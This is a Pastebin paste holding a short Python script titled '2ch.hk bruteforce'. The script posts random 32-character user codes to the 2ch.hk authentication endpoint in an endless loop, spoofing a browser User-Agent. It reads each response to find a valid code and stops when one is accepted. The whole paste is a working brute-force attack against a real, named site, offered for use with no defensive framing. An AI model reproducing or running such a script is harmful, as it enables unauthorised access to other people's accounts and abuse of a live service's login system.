Guest User

Untitled

a guest
May 10th, 2016
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.41 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3.  
  4. ####################################################################################
  5. # [*] 2ch.hk bruteforce
  6. # [*] by anonymous
  7. ####################################################################################
  8. import urllib, urllib2, os, random, string, re
  9. ####################################################################################
  10. while True:
  11. ####################################################################################
  12. length = 32
  13. chars = string.ascii_letters + string.digits
  14. random.seed(os.urandom(1024))
  15. usercode = ''.join(random.choice(chars) for i in range(length))
  16. ####################################################################################
  17. headers = {'User-Agent':'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'}
  18. values = {'task':'auth', 'usercode':usercode}
  19. data = urllib.urlencode(values)
  20. request = urllib2.Request('https://2ch.hk/makaba/makaba.fcgi', data, headers)
  21. response = urllib2.urlopen(request)
  22. data = response.read()
  23. ####################################################################################
  24. result = re.findall('<div class="box-data">', data)
  25. ####################################################################################
  26. if result:
  27. print usercode + ' unvalid'
  28. else:
  29. print usercode + ' valid'
  30. break
  31. ####################################################################################
Advertisement
Add Comment
Please, Sign In to add comment